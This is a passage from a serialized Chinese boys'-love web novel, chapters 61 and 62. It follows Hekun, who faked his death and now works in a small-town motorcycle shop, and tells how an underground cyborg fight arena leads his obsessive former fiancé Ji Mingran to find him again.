角落的工具柜旁,音响慢悠地播放着一首带着独特韵律蓝调歌曲,和着销售区玻璃橱窗前响起的交谈声,以及着偶尔路过的车声,交织成了最惬意的背景音。 一位青年坐在维修区的台面前,宽松的复古蓝牛仔裤膝盖处磨得发白,沾着几点新鲜的油污,装饰黑色背心的金属项链随着他的动作在空中微微晃悠。 而他只是专注地看着手里的物件,一个新崭崭的避震器活塞杆,贺琨对着光慢慢转动,认真地观察着细密精致的金属加工纹路。 卢卡刚谈完一单大生意,心里美滋滋地,提着两杯气泡美式就走进维修区,看见自家小员工的状态如此端正然后更开心了。 小员工是六年前搬进小镇来的,他们小镇人口不多,唯一的热闹事就是每隔两年便会定期举办的机车赛事。 所以平凡重复的日常里只要有些什么新鲜的风吹草动,无需几日就会以各种八卦方式传遍整个小镇。 这位相貌英俊的年轻人搬入小镇,便是六年前冬季的热议事件,刚开始那年他基本不怎么出门,面色时常都是苍白的,透露着难掩的虚弱与疲倦,小镇的人都默契认为他是位得了绝症,要死的人。 尽管如此,还是有不少的适龄男女拦截搭讪,试图来上一段刻骨铭心、生死别离的虐恋,所以青年本身的生活轨迹再无趣,但八卦还是源源不绝。 比如某天夜里,这位年轻人竟然在他卧房的床上发现了擅闯私宅的性感火辣大男孩,然后被他无情地送进了法庭。 又或者出门采购必须品时,有意想撞到他怀里的金发女郎,因为担心人身体虚弱忍了一步,栽进了另一位男子怀里,反倒阴差阳错地结婚了。 总之能传出来的八卦都是过于离奇,久而久之,大家反倒对这位年轻人更好奇了。 说起这件事,卢卡就洋洋得意。 他是位坚定的不婚主义者,年过半百,自由自在,这辈子只有两个爱好就是机车和钱。 卢卡出生在这个小镇里,去大城市打工了十多年,最终还是选择回到小镇开了一家机车维修店,生意就这么不温不火地做着,养老是没问题。 本来都是半截身子都埋进土里的人了,结果隔壁空了多年的房子,突然住进了位沉默不语的年轻人,有时在院子里一坐就是一整天。 卢卡见过垃圾箱内年轻人丢掉的东西,其中有什么乱七八糟的精神类药物,他也不懂,就算青年是他唯一的邻居,卢卡也不打算插手。 可是,某天关店回家时,卢卡发现那位坐在满院夕阳下的青年,正在目不转睛地看着他新购的机车。 “喂,年轻人,猜猜看是什么?”他莫名其妙地取下*头盔,站在车边提问。 青年很快说出了答案,说得没错,是行业领军品牌的最新典藏旗舰款,目前市场内还未流通,很少人认识。 卢卡觉得自己也是魔怔了,自那以后琢磨着开始约年轻人钓鱼、打球、跑步,还拉他去店里看车。 青年的自救意识很强,竟然也慢慢好转起来,第二年开春的赛事期间,卢卡店里忙得不可开交,想找个小工来帮忙,他将注意打到了自己唯一的小邻居身上,“琨,来我店里打工吗?” 那晚夜色清朗,年轻人露出了微笑道:“好。” 卢卡当然得意了,青年不再活在虚无缥缈的八卦传闻中,而是在他的帮助下成为了活生生的,年轻人该有的样子,好事好事。 “卢卡叔,又谈成生意了?” 卢卡挑挑粗黑的眉,花白的头发也变得充满活力,举起五根手指,“嗯哼,赚了这个数。” 贺琨看着喜气洋洋的卢卡叔,也跟着笑了笑,这位开朗的大叔这辈子只爱两个东西,第一是机车,第二就是钱。 卢卡将手中的一杯气泡美式塞了给贺琨,转身拿出黄油吐司,打开了躺椅对面的电子屏。 贺琨伸展了一下有些发麻的腿,顺手接过后仰头喝下大半,纯粹当解渴般牛饮,耳边响起电子屏播报的快讯。 “纪氏集团今日发布上半年财报,总营收达xxx亿元,同比增长34%,核心业务贡献率达87%。集团称,增长得益于全球化布局及技术创新持续投入” 卢卡拿起半片金黄酥脆的吐司,闻了闻黄油的香气,闭上眼品了品才送入口中,“哦,我的上帝,这才是人生的真谛。” 说罢又喝了口气泡美式道:“这家公司真可恶,这些年多少人都去看机械斗赛了,属于机车的黄金年代已经一去不返。” 所谓的机械斗赛,是贺氏集团的当年跨时代的技术创新下,演变出来的一种地下角斗模式,只不过并非人类与野兽的搏斗。 而是将某种制造出来的机械异兽与人体神经接驳,通过一对一的厮杀决出胜方,因为打斗更加激烈盛大,异兽千奇百怪且模样血腥而得以出名。 技术的横空出世总是一把双刃剑,不能否认其带来的医疗以及军事等方面的飞速发展,也必须承认它正在从各个维度将人类异化腐蚀。 此时画面正好切到集团负责人的演讲镜头,他身着笔挺的西装,精英感铺面而来,整个人利落正派,站在万众瞩目中侃侃而谈。 卢卡拿起放在铁桌上的老花镜,架在鼻梁上,“咦?这集团总裁怎么长得又美又帅的?” 贺琨闻言正眼看向画面中的男人,六年的时光似乎没有改变什么,岁月对纪明冉很柔情。 不过看起来冷漠严肃了很多,不再像当年那般,总是挂着温和却疏离的笑。 他刚想发表些意见,结果画面再次转回主持人的直播间。 “同期,纪氏集团宣布以低于市场价80%的价格将旗下xx业务板块整体出售给贺氏集团。” “交易涵盖多家子公司100%股权,以及相关专利技术、生产线及客户资源。” 镜头转向直播间内的几位专家,显然后面这个宣布才是今日讨论的爆点,女主持人先是看向其中资历最老的专家道:“宋博士,请问您怎么看待此事?” 几位博士心照不宣地相视,但还是从专业的角度分析起来,唯独到了最年轻的那位博士时,她扬起嘴角笑笑道:“我倒是没有什么专业的见解,这些年纪氏集团对贺氏集团的偏心,大家难道还看不出来吗?” 一句活跃的调侃将直播间沉闷的氛围调动起来,女主持人的笑意也加深了几分,最后却以某种遗憾惋惜的表情收尾,似乎在缅怀某位已经离世的人。 碍于节目严肃的调性,女主持人接下来并未展开话题,而是换了新的话题。 卢卡没明白,但人类的天性让他敏锐地察觉到了八卦的味道,于是偏头好奇又兴奋地问道:“琨,我记得你是华国的人吧,快给我说说!” 贺琨如同真的只是在讨论一件无关的事,扬起漫不经心的笑容道:“纪贺曾有一段联姻,但是婚前纪先生的未婚夫去世了。” 卢卡是位不婚主义者,但是他坚信世间有真情,不像寻常这个年纪的男人,他不仅身材保养得好,并且衣品也很好,是位有浪漫情怀的真大叔。 “哦,天呐,那他真是位深情的人,他那位去世的未婚夫一定与他很相爱吧。” 贺琨皱起眉头,抿住嘴唇沉吟几秒,若有所思的模样答道:“说不定是两看相厌,生死不见。” 卢卡哈哈大笑起来,随手切换了频道,侧眼却瞥见门口有道眼熟的身影,随后转头看向贺琨眨了眨眼,笑得意味绵长。 他打开手环的拨付界面,先是输入金额230,随后眯起眼睛精明地笑笑,“这是你今天的日薪,考虑到你接下来要旷工半日,那么就减去115。” 眼看交易界面的金额变成115,卢卡再次啧啧嘴,“但是你工作很认真,我决定给你的约会补助50!” 他端起杯子与贺琨手中的杯子碰了碰,颇有等过几年老了后,就会变成那种让人苦笑不得的老顽童的趋势。 贺琨仰头饮尽杯中美式,满配合道:“好,谢谢卢卡老板的厚爱。” “哈哈哈,去约会吧,年轻的身体就是充满激情。” 贺琨笑笑,眉眼清透而阳光,转身便开始收拾东西,去淋浴间简单冲洗了几分钟,穿着深色工装短裤就走了出来,直接从包里翻出一件干净的短袖套上。 光线将背脊打得沟壑分明,在腰窝处短暂汇成微小圆润的点,最终消失在松垮的工装裤腰处。 没有刻意的展示,甚至没意识到有人在看。最后在短袖落下时,匆匆留下了窄腰薄韧紧实的轮廓线。 门口站着的黑发青年将一切纳入眼中,脸颊涨得微红,喉结不自觉地滚动,他移开视线看向自己的脚尖。 贺琨单肩背起挎包走出店内,看着门口纤细可爱的青年低着头不知道在想什么,“晓源,今天怎么有空过来,不是最近课业很忙吗?” 辛晓源注视贺琨,小心翼翼地将眼中爱恋藏起来,怕贺琨察觉,又怕贺琨察觉不到,“我,我发奖学金了,阿琨。” 这是去年贺琨去城里购买机车零件时遇到的留学青年。因为遭遇了渣男初恋带头的校园霸凌想要轻生,就这样被路过的贺琨就救下来了。 贺琨心软留了联系方式,结果某次辛晓源哭着给他打了电话求救,听起来状态很不好,等贺琨赶到时,辛晓源已经被下药昏迷了,差点就要被送进不好的交易场所。 他索性扮成辛晓源的现男友,将渣男和他的同伙收拾得哭爹喊娘。 既然做都做了,最后干脆想着装个三五年,直到青年毕业回国。 贺琨面对辛晓源已然带入了兄长的角色,听见辛晓源拿到了奖学金也倍感欣慰,这些年他收到了很多温暖,对待晓源如同照顾弟弟般,希望将这份温暖传递下去。 “叫哥。”贺琨拍了拍辛晓源毛茸茸的脑袋。 温暖的手掌落在自己头顶,辛晓源心口怦怦地跳起来,直到贺琨移开掌心时,还有些依依不舍。 他乖巧道:“琨哥。” 60-70 第61章 第六十一章找到你了打赏加更之贺琨…… 辛晓源本来是想请贺琨去城市里的情侣餐厅用餐,浪漫的音乐,以及恰到好处的微妙氛围,昏暗暧昧的光拂照他们,那该有多幸福啊。 光凭借着幻想的画面,辛晓源的耳垂便渐渐地染上了霞粉,他站在贺琨的机车旁,悄悄掐了掐自己大腿,妄图让自己清醒些,别像个变态似的。 贺琨拿出头盔直接朝后递给青年,结果半天没人接,转过身便看见了呆呆愣愣的辛晓源满面春色,他伸出五指在青年眼前晃了晃道: “想什么呢,那么入神,不会是在学校里有了喜欢的人吧?” 辛晓源被贺琨精准的预测吓了一跳,几乎想脱口而出地告诉眼前人,不是学校里的同学,他喜欢的人就是他。 可是辛晓源不敢,他觉得自己还很差劲,而琨哥就像一个太阳似的,又温暖又耀眼,做什么事都能做得很好,什么都不怕。 “没有呢没有什么喜欢的人,我只是在想琨哥为什么不喜欢去市区。”辛晓源接过黑色的头盔,慢吞吞地给自己带上。 贺琨乌黑的发丝在风中飞扬,宽松的衣角也被风吹拂得微微鼓涨,“不喜欢就是不喜欢,不需要什么理由。你在这里等着,我进去再拿一个头盔。” 辛晓源甜甜地笑着点头,其实无所谓在哪里,就算路程再远,他也会来找琨哥。 刚到饭点,镇上靠西侧接近郊区的小餐厅门口走进了两人,看起来稍微大些那位为身后的青年推开玻璃门,两人站在餐厅门口的暖光里。 高的那位眼尾天然带着一点向下的弧度,习惯性地微微抿着薄唇,下颌骨的轮廓尤其分明,不笑时显得近乎冷硬,矮的那位青年看起来像小白兔似的,软软白白的。 “嘿!琨!”老板直起腰,嗓门洪亮热情,抬手随意地朝这边挥了挥,熟悉得像招呼自家晚归的侄子,小镇的规模就在那放着,就算没见过面,说来说去其实都是“老熟人”。 老板继续道:“今天天气真是热啊,快进来凉快凉快!” “好的,谢了。”贺琨回以真诚的微笑。 两人找了个凉气充足的地方坐下,便开始点餐。 老板笑眯眯地走上前来,拿着白色的小本子和笔,干起了点单的活,“琨,这位年轻人好面熟啊,见过好几次了,是你的恋人吗?” 贺琨正打算开口解释,辛晓源突然被口水呛得咳嗽起来,慌乱羞涩地摆手道:“不是不是,我和琨只是朋友关系。” 老板一边记录着下单的菜品,一边耐人寻味地看了看两人,故意偏偏头调笑道:“好吧,用餐愉快。” 老板走后,气氛很快安静下来,辛晓源为了避免冷场,早就在心里准备好几个话题,在此时刚好派上用场,“琨哥,最近店里忙吗?” 贺琨想了想店里每天三三两两路过的客人,笑了笑道:“还好吧,得看具体情况,不过倒是你,每次来小镇很麻烦吧?” 辛晓源害怕贺琨日后不让他来了,坐起身连忙道:“不麻烦!不麻烦的,”或许是觉得自己有些应激动,他又继续解释道:“如果一直待在学校里,反而我前男友还会怀疑我,我和你是假的情侣。不不,我知道我们当然是假的,就是,就是…你知道的。” 辛晓源先是有些结巴,随后飞速地将后半句话带过,说又不好意思说,也说不清楚索性放弃了,声音轻软,几不可闻,最后又抬眸悄悄地看向贺琨,满是情窦初开的青涩。 贺琨看似看着玻璃窗外远处的林荫小道,实则将辛晓源的神情全然纳入眼底。 他曾经也以同样的心意爱过,也被很多人这样暗恋过,一眼便知青年的心意,晓源是最笨拙的那种,但却也是最真挚的那种。 不过,贺琨不想再建立亲密关系了。 他端起服务员刚端来的冰镇啤酒,隔空朝辛晓源抬了抬道:“祝贺晓源本学年取得优异的成绩,作为哥哥,我为你开心。” 辛晓源弯起眉眼,双手抬起酒杯饮下半杯,似乎完全没有听出贺琨的言外之意。 贺琨无奈地笑笑,明明还是个小孩子啊,想来过段时间等不到回应便没有兴趣了吧,毕竟这个年纪不就是想到哪算哪,一天换一个喜好也不见怪。 两人有一搭没一搭的聊着,多半是辛晓源在说些学校里的事,贺琨笑着听听。 “所以,琨哥你为什么年轻时候不去做赛车手呢?” 贺琨微微挑起眉头后笑着摇摇头,动作的幅度很小,如果不仔细看其实很难察觉,本想略过话题,却在触及到青年眼底的迷恋时,转口道:“因为年轻时很喜欢一个人,他不喜欢这些,我便不做。” 辛晓源清楚贺琨对机车的热爱,笑容瞬间僵在脸上,但很快回神,尬笑起来,“是吗,哈哈,那琨哥一定很喜欢他吧。” “喜欢得要命呐。”短短一句,没有半个字是虚的。 辛晓源心存侥幸地问问,结果琨哥却回答得那么认真,他掩饰着心里的酸楚,安慰自己道,再喜欢也是过去了,不管两人最后为什么分开,反正现在琨哥都是单身,多久他都可以等。 想到这里辛晓源又松了半口气,他从口袋中掏出两张门票,是好不容易搞到的机械斗赛的座位。 “琨哥,我能请你和我一起去吗?” 贺琨起身接过那张票,看着红黑票面上猎奇夺目的构图,很快便猜到了,他其实并不热衷于那些血腥的画面,也不相信辛晓源能看得进去。 果然,辛晓源很快解释道:“这是为毕业论文做的准备!我想去看看神经接驳的极致,如果能拿到好的成绩,说不定我就可以拿到纪氏下属科创团队的实习名额了!” 贺琨看了看一脸朝气蓬勃的青年,事实确实是这样,想要看见神经接驳的极致,只能去这样的地下场所,用各类禁药将人体开发到了极限,只为提供最刺激的赛事。 晓源看起来是一定要去的,可他独自去这些地方怕是不安全,贺琨这种性格,知道了就做不到放任不管。 “下周我会陪你去,等拿到纪氏的名额,我还是建议你回国发展。” 为了避免不必要的误会,贺琨讲得很清楚,但确实是出于为辛晓源考虑的实话。 长期被霸凌经历使辛晓源无法在此地建立正常的社交关系,加之他的初恋男友就是个人渣,不知道什么时候又会跳出来找麻烦。 贺琨有自己的生活,总不可能每天都守着晓源,很多事终究是辛晓源自己要学会去面对。 辛晓源想得反而很简单,他只是完全没想到贺琨会去,本来抱着试试的心态询问,没想到真成了。 逃避的心态让他选择性地忽视了贺琨的下半句话,满心满眼都是下周还能和琨哥见面。 两人就这样在同一个话题中,以截然不同的心态共进晚餐。 心里有了期盼的事,日子就会变得又快又漫长。 自从那晚回来后,辛晓源左等右等,在图书馆与实验室来回折腾里,时间终于到了周六。 他提前半小时到了与琨哥约定相遇的地点,哪怕只是早一分钟见到,都会特别开心。 距离约定时间还有十五分钟的时候,辛晓源一抬头便看见了大道尽头走来的贺琨。 坎肩卫衣搭配复古灰的牛仔裤,带着黑色的鸭舌帽,走路的仪态很好,不徐不急中藏着未驯的自由,天生就是不会被人群埋没的人。 琨哥在小镇的店里打工,按照卢卡叔叔发的日薪,应该是恰好够用,不过很难存起什么积蓄。 但辛晓源总觉得琨哥身上总是有一种说不清的矜贵,只有那种完全不为生存忧虑,才堆得出来的闲适与散漫。 “琨哥,喝水?” 辛晓源琢磨着,见到贺琨走近就什么都想不起来了,他等不及地主动迎上去,笑着从书包里拿出瓶冰水递到贺琨手中。 贺琨随意一笑,接过冰水道:“谢了,走吧。” 斗场的环境果然如贺琨所想,进入一道铁门后,是条细长的道路,两侧贴满充斥着精神污染的电子小广告,走到道路尽头,再拉开一扇金属黑门便进入了场地,视线随之豁然开朗。 层层叠高的座位呈现圆形,围住了中间完全封死的巨大空地,最上方还有八台巨大的电子屏幕呈现着场内的细节。 因为还没有到开始时间,所以其中四台呈现着巨大的logo,而另外四台播放着宣传广告。 昏暗的环境中,高饱和度灯光跳跃闪烁,香烟白雾经久不散,辛晓源不自觉地靠近了贺琨,因为眼前的一切与正常的生活太割裂了。 就在此时,一位拖着盘子的侍者走过,似乎急着去VIP包间,辛晓源书包侧面的水瓶不知道什么时候歪斜的,摇摇欲坠中终于掉了出来。 侍者脚下一滑,为了保护托盘中价值连城的酒水,直直往贺琨身上撞去。 还好贺琨眼疾手快,抬手便扶住了侍者的肩膀。 侍者仰头感谢时,两人正面相视,均是一愣。 贺琨是因为看见了侍者的左眼全然暴露的机械眼,微微诧异了半秒,医院的修复手术都是以恢复到完全自然的模样为目的,起码日常中很少看见这般个性的设计。 至于侍者为何愣住,那就不知道了,只见他匆匆道谢后,更加火速地离开了。 贺琨没管,弯腰捡起水瓶,丢进了垃圾桶内,转身对辛晓源说:“别要了,待会渴了再买。” 青年点点头,两人走进场内,找到座位坐下,等待着赛事的开始。 此时,斗场的地下办公室内。 一位男人看着屏幕上清晰放大的面容,低着头笑出了声,纪明冉啊纪明冉,没想到你找了六年的人就在这,真是得来全不费工夫。 他站起身平稳地走到休息区,拿起锐利的飞镖,手腕翻转用力,带着恨意将飞镖投掷出去,正中靶心。 熟悉的面容在灯光下清晰可见,不是纪清嵩,还会是谁。 自从六年前被赶出国内,他便开始暗中联系姐夫死前的旧部,建立起了该区最大的斗场。 当然不是国内那个废物姐夫,而是纪姝不为人知的第一任丈夫,一位死于战争的男人。 被丢出国内的第一年,纪清嵩没有哪晚可以安心地睡觉。 纪明冉似乎在玩着什么猫抓老鼠的游戏,每过段时间就会毫无预兆地将他抓起来拷问贺琨的下落。 纪清嵩都在想,如果贺琨真的没死,如果他真的知道贺琨的下落,肯定早就坚持不住地说出来了。 他见识了纪明冉的狠戾,在那一年害怕此人竟是怕到了极致。 可惜纪清嵩真的不知道,刚开始他咬定贺琨已死,只为嘲笑纪明冉的无力,后面坚持不住了,他只能一遍遍重复真的不知道。 最后,甚至被洗脑到开始相信一个从涯上坠海的人还活着,畏惧演变成了无尽的愤怒,纪清嵩大喊着,是,贺琨就是被他藏起来了。 自那次以后,纪明冉反倒将他放了,纪清嵩就这样提心吊胆地又煎熬了一年,发现纪明冉真的不再打算抓他,索性开始悄悄发展起自己的势力。 他想做来钱最快的生意,自然多半是些沾染人命的生意,于是慢慢建立起了这个每天都有人命被献祭的“血腥舞台”。 可每每想再进一步扩大势力范围时,总会被未知的力量阻拦,纪清嵩便知道纪明冉还在暗中看着他。 他便打定主意,此人必杀。 所以此刻看见贺琨,纪清嵩那是真开心啊,纪明冉猜得没错贺琨果然活着,这位才是真的戏耍了所有人。 但是没关系,纪清嵩不生气。 因为只有此人才会让纪明冉心乱,而纪明冉失去理智,他才会有下手的机会。 现在只需和贺琨亲自见面,都无须说完一句话,纪明冉定然闻着味就来了。 熬了六年啊,人生有多少个六年,纪清嵩想想都兴奋,连指尖都不住颤抖起来。 他从衣橱中选出来一件最正式的西装礼服,等待赛事结束,好去见见贺琨。 另一边,贺琨还不知道这个看赛事的小小决定,将会引起怎样的风暴。 他看着身前面色苍白的青年蹲在路边呕吐,又去旁边的商店买了几瓶水回来,递给辛晓源,“来,漱漱口,这些地方以后少来了,知道吗?” 辛晓源漱口后,血腥的画面还在脑海中挥之不去,他赶忙摇摇头哭丧着道:“不来了不来了,下次白送我票,我也不来。” 说罢,他似乎又想起什么,愧疚地看着贺琨,“不好意思,琨哥,你没事吧?” 贺琨摇摇头,抬手把晓源的书包提起来,金属搭扣撞出轻响,“还好,走吧,回了。” 辛晓源没好意思,将自己的书包要回来背着,贺琨也没有多言,把青年送回宿舍后并未在市区停留,找了辆车开出了三倍的价格,连夜回到小镇。 等到了镇上时,已经是后半夜了。 贺琨没让司机送到家门口,而是下了车晃晃悠悠地往回走,小镇还在静悄悄的,他吹着夜风还觉得挺惬意的,比白天凉快多了。 一辆完美融进夜幕的黑车不知从哪条路上悄无声息地出现。 贺琨心中有预感似地咯噔一下,反应却不激烈,目光中有种穿透性的平和,或许他也不觉得自己能躲一辈子,虽然是这么计划的。 “很高兴再遇见你。” 不是预期的那个人,声音很陌生,贺琨转头看去,后排的车门被拉开,一位身着正装的男人站出来,这时他才看清这位是曾有着一面之缘的纪清嵩。 贺琨依稀记得此人患有腿疾。 纪清嵩敏锐地察觉了贺琨的视线,笑起来解释道:“多亏明冉持续地投入研发,手术后恢复如初不是吗?” 贺琨微眯眸子,这位纪家四少怎么越来越邪门了,早几年还带着些书卷味,现在剩下的全是阴损味。 “恭喜?”贺琨说完,便转身回家。 纪清嵩没跟上来,只是朝着贺琨的背影说道:“或许我也要恭喜你了,有情人终成眷属。” 贺琨鸡皮疙瘩掉了一地,远远地走开了,那纪明冉应该也快发现他了吧。 纪明冉啊再次念起这名字,真是遥远又陌生。 遥远和陌生,不存在的。 纪明冉看着手中的照片,昏暗的街灯下,一道模糊的侧影。 常人都会犹豫一二,琢磨着到底是不是自己所想的那个人,可当那个侧影撞进视线中,纪明冉捏在照片边缘的指关节猛地绷紧到惨白。 “贺琨”名字从紧咬的齿缝里挤出来,沙哑得不成调子,也不是呼唤,更像濒死野兽确认猎物气息时,从喉咙深处发出的呜咽。 早就没有怨了,只是过载的思念快将他磋磨殆尽了。 纪明冉数着两千多个日夜,在无望的搜寻中濒临疯狂,还以为自己早已不会再为任何相似的剪影而动摇,可此刻心脏却在胸腔里不受控制地跃动,尽管四肢冰凉,眼眶却阵阵发热。 他缓缓扬起笑容,贪婪地注视着照片里的人。 穿着坎肩卫衣,身形比记忆里清瘦了些,似乎长得更开了,不再是沉寂无言的模样,更像第一世初见时那个贺琨长大后本该有的模样。 是他,这次真的是。 纪明冉的指尖无意识地颤抖着,指腹在照片上划过,试图触碰到那个人,却只触碰到了光滑冰冷的纸面。 他猛地闭了一下眼,再睁开时,浅琥珀色的瞳孔深处只剩下一种冰冷到极致的专注。 找到你了,阿琨。 第62章 第六十二章无处可去小雨接连下了好…… 小雨接连下了好几日,到了中午时已经闷热到了极致。 为了接揽客人,卢卡叔将机车店选址定在了接近比赛场的地方,平时会有俱乐部来这边飙车玩乐,零散的业余爱好者也有不少。 所以店址距离小镇还是有段距离,不能说远吧,但也不近,从家里骑车过来大概需要半个小时左右。 太阳还未沉落,乌云便开始翻腾。 今天是贺琨看店,可能是因为即将到来的暴风雨,客人并不多,此时闷热已经被凉风拂去,贺琨刚踏出店门,外套被吹得猎猎作响,项链撞在锁骨上,发出沉闷的钝响。 暴雨很快便倾盆而下,豆大的雨点噼里啪啦地砸落,很快溅起层层水花。 生长在旷野里的树在疾风骤雨中疯狂地摇曳着枝干,落下的闪电变得近在咫尺,清晰可见。 贺琨想今晚可能要在店里休息了。 就在这时一道明亮的车光从弯道那头打过来,稳当地停在了店门口,辛晓源乘着伞快速地跑进店内。 “琨哥,下了好大的雨,我来接你回家。” 雨势很大,视线范围受限已经很严重了,贺琨看见停在路边眼熟的车,其实就猜到了辛晓源的来因,本来想伸手拍拍青年的脑袋,可是又像想起什么似的,将手收回插进了衣服口袋中道: “以后下那么大的雨,就不要着急出门了,我在店里睡一晚也没什么的。” 辛晓源已经在家里准备好了晚餐,担心琨哥被暴雨困在店里,于是问隔壁的卢卡叔叔借车来接人回去。 暑假开始后,他前男友不知道又抽什么疯,总是对他围追堵截,时不时就要下跪撒泼扇耳光,乞求辛晓源的原谅。 迫于无奈,也可能是带着暧昧的小心思,辛晓源再次求助了贺琨,就这么在小镇住下来了。 琨哥给了一周的时间,让他尽快重新寻找出租屋,并且找到一份兼职工作,等待纪氏下属科研机构通知申请结果。 辛晓源知道贺琨的良苦用心,自然没有什么好抱怨的,只是单纯地享受着和喜欢之人短暂的同居时光。 思及此处,他垂首摇摇头道:“刚开始出门的时候还不怎么大,只是看着吓人。” 大概过了一小时左右,刚才还云层厚重的天幕,此刻只剩下几缕被染上淡金色的流云,一半是黛蓝,一半是橙红。 雨势渐歇后,两人便决定启程回家,贺琨刚将汽车停进卢卡叔的停车位上,辛晓源便先走出车内,举着雨伞跑到了驾驶室外等着。 看着急急忙忙的晓源,贺琨心里不免好笑,他拉开车门踏出来,顺手接过雨伞,“我来吧。” 辛晓源举着唯一一把伞,连忙说道:“没事没事,我可以的。” 贺琨无奈地笑笑,抬手指了指头顶,“太矮了,刮着头发了。” 辛晓源平日里打伞的习惯就是会把伞压低遮住自己,现在看着琨哥的手势,脸一下涨红了,结结巴巴道:“是哦,对,对对,不好意思啊。” 与此同时,在两人没有注意到的地方,一道视线贪婪地凝视着贺琨,似乎在反复确认着那道身影是真是假。 不知过了多久,纪明冉终于低沉沉地笑了,两千多个无望的日夜迎来了终结,全身的血液都开始急速奔腾起来,他现在就想将人拥进怀里,再也不要分开。 纪明冉就说,他的阿琨从来没有死。 可惜很快纪明冉又紧锁起眉头,因为他发现伞下还站着一位乖顺可爱的青年。 失而复得的狂喜瞬间转化为了对再次失去的强烈恐惧。 男人拉开车门,直接朝院中走去,还未等贺琨反应到发生了什么,便将人纳入了怀中。 “贺琨…真的是你…”低哑得近乎叹惋,承载了太多说不清道不明的过往。 黑色的雨伞倾倒在满是雨水的草地上,熟悉的木调香似乎越过六年的光阴而来,将贺琨拉回了曾经相依而眠的日夜。 他没有惊讶,没有慌乱,只是坦然地觉得该来的终究还是来了。 贺琨开始挣扎着要将人推开,动作却因为脖颈处传来的湿热触感而凝滞,纪明冉竟然哭了。 他没有再犹豫,挣脱后把状态之外的辛晓源拉到身后,满脸戒备地看着纪明冉。 随着距离拉开,贺琨也终于看清了,不同于新闻中西装革履那般高高在上,来人那好看的相貌倒是没什么变化,只是气质更加成熟冷锐了。 纪明冉的怀抱突然落空,经年累积的偏执、绝望和那从未熄灭的占有欲,在这一刻被贺琨的戒备彻底点燃。他以不容抗拒的力道,旁若无人地再次将人拉入怀中,凑近贺琨的脖颈慢慢嗅。 似乎迷醉地闭上眼眸,一寸一寸地缓慢上移,鼻尖或薄唇触及怀中人的肌肤后,发出满足的叹喟,双臂箍得贺琨肋骨都在发麻,如同要将人融进自己的骨血中。 贺琨怕纪明冉走极端,回避着男人不正常的动作,转头看向辛晓源,“晓源,你先进屋。” 辛晓源都还没看清来人到底是谁,无措得眼眶湿红,又气又恼,根本不知道怎么办才好。 可是琨哥的语气很严肃,他不敢不听,于是一步三回头地进了屋内。 纪明冉似乎入魔了,根本听不进去半句话,甚至将手探进了贺琨的衣服中,在腰侧暧昧地揉捏。 “松开我。”贺琨按住作祟的手,纪明冉不要脸,他还要脸,“你疯了,再不停就滚。” 短短一句话,根本构不成实质性的威胁,却硬生生让纪明冉安静下来。 贺琨趁机将人推开,快速地将自己的衣服整理好,期间快速抬眸瞟了一眼纪明冉,“这里*不欢迎你。” 纪明冉先是愣在原地,随后紧紧握起贺琨的手腕,左手捏住贺琨下颌抬起,强迫青年与他对视,先是看了看站在窗边的辛晓源,然后又收回视线道:“不欢迎我,欢迎他是吗?” 贺琨始终没有回答,纪明冉在这场沉默中越发疼得难以呼吸,尽管如此,依旧不愿意放手。 服软的人是纪明冉,他看见了贺琨不适的表情,下意识地松开了手。 “阿琨,你对我实在太残忍了,你知道吗?”他问得太轻了,已经不像是在质问。 贺琨不知道怎么回答,也不知道如何面对纪明冉如此浓烈的情绪,雨还在下,两人身上早已湿透了,他想如果不说清楚,纪明冉估计也根本不会离开。 “今天太晚了,我要休息了,有什么事情明天再说。” 纪明冉目光依旧牢牢锁定在贺琨身上,根本不愿意再让青年离开自己的视线,“可以住在你这里吗?我保证不会打扰你。” “不可以。”贺琨知道纪明冉不会轻易离开,却不大相信男人能安分待着,于是一口回绝后转身离开。 门里倾泻出来的最后一缕暖光在锁芯闭合的清响中消失,纪明冉连同湿漉漉的黑暗被彻底隔绝在外。 屋内灯光晕昏黄,带着温馨的暖意,雨水顺着贺琨发梢和衣角不断滴落,在脚下的木地板上洇开一小片深色的水渍。 辛晓源手足无措地站在几步开外,眼眶还是红的,手里紧紧攥着一块干毛巾,想上前又不敢。“琨哥,那人还在外面”似乎是联想起自身什么不好的经历,声音带着惊惶与颤抖。 贺琨没有立刻回应,他抬手抹了一把脸上的雨水,脖颈处被纪明冉泪水沾染过的皮肤,仿佛还残留着灼人的湿黏感。 “别管他。”贺琨声音低沉沙哑,径直走向楼上主卧,“快去换件衣服,别着凉。” 辛晓源看着贺琨的背影,心里有很多疑惑,却没能问出口,他在想那个高大的男人是不是琨哥口中曾经很喜欢的人,两人之间到底是因为什么而分开的。 不知不觉中,辛晓源又慢慢走到窗边,他撩起一点窗帘的边缘,那个人竟然还没有离开,固执地站在细雨中,似要站到天荒地老。 察觉到屋内探究目光,男人敏锐地微微仰着头,目光如有实质,黑沉沉的,吓得辛晓源心头猛地一悸,下意识地松开了窗帘,慌忙后退一步。 窗帘严丝合缝地垂落,纪明冉收回视线,眼中没有愤怒,没有悲伤,只是燃烧着某种近乎扭曲的爱意。 贺琨知道纪明冉肯定没走,他换下了湿透的外套和衬衫,拿起浴巾走进浴室。 腰侧被纪明冉强行揉捏过的地方,残留着指痕般的隐痛和一种挥之不去的侵犯感。 他强迫自己不去想那灼人的目光,不去想那泪水的滚烫触感,不去想那句破碎的“你对我实在太残忍”。 可越是这样做,那些画面和声音就越发清晰地烙印在脑海里,连同过往那些被利用的痛意翻涌上来,激得贺琨头疼。 他深呼一口气,压下心底一种更深的,连他自己都不愿承认的混乱。 辛晓源也换上了干燥温暖的衣服,连忙跑上二楼,礼貌地敲了敲主卧的门,“琨哥,下楼喝点姜汤吧。” 很快房间门被打开,贺琨穿着家居服,看起来已经快速冲了一个热水澡,状态与往日没什么不同,辛晓源微微松了口气,终于还是难抑心中的好奇问出:“琨哥,门外的男人是谁啊?” 两人往楼下的餐厅走去,贺琨没有复杂的想法,便直接开口说道:“以前喜欢的人。” 辛晓源记得贺琨之前提过,但是听着那个说法琨哥应该非常喜欢那人才对啊。 不过不喜欢也好,看着坐在餐桌对面的人,他心里又升起一些期望。 辛晓源心还是好的,尽管外面的人是他认定的情敌,还是放下筷子,犹豫着问道:“他他会不会冻病啊?这雨虽然不大,但恐怕要下一夜。” 贺琨沉默了几秒,窗外的雨声似乎更大了,“那是他的选择。”声音毫无波澜,听不出情绪,随后他又对晓源道,“快去睡吧,明天你不是还要去市区图书馆查资料吗。” 辛晓源乖巧地点点头,他知道现在让贺琨独处或许会更好,于是把话咽下,回到这几日暂住的客卧里。 